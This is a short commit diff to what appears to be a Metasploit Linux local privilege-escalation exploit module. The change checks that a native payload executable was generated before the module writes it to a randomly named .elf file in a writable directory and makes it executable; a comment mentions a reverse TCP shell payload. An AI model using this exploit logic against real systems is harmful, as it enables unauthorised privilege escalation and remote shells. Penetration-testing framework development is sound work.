Check payload

Author: jvazquez-r7

modules/exploits/linux/local/desktop_privilege_escalation.rb

@@ -80,10 +80,17 @@ def check
   end
 
   def exploit
+    # Cannot use generic/shell_reverse_tcp inside an elf
+    # Checking before proceeds
+    pl = generate_payload_exe
+    if pl.blank?
+      fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Failed to store payload inside executable, please select a native payload")
+    end
+
     exe_file = "#{datastore['WritableDir']}/#{rand_text_alpha(3 + rand(5))}.elf"
 
     print_status("Writing payload executable to '#{exe_file}'")
-    write_file(exe_file, generate_payload_exe())
+    write_file(exe_file, pl)
     cmd_exec("chmod +x #{exe_file}")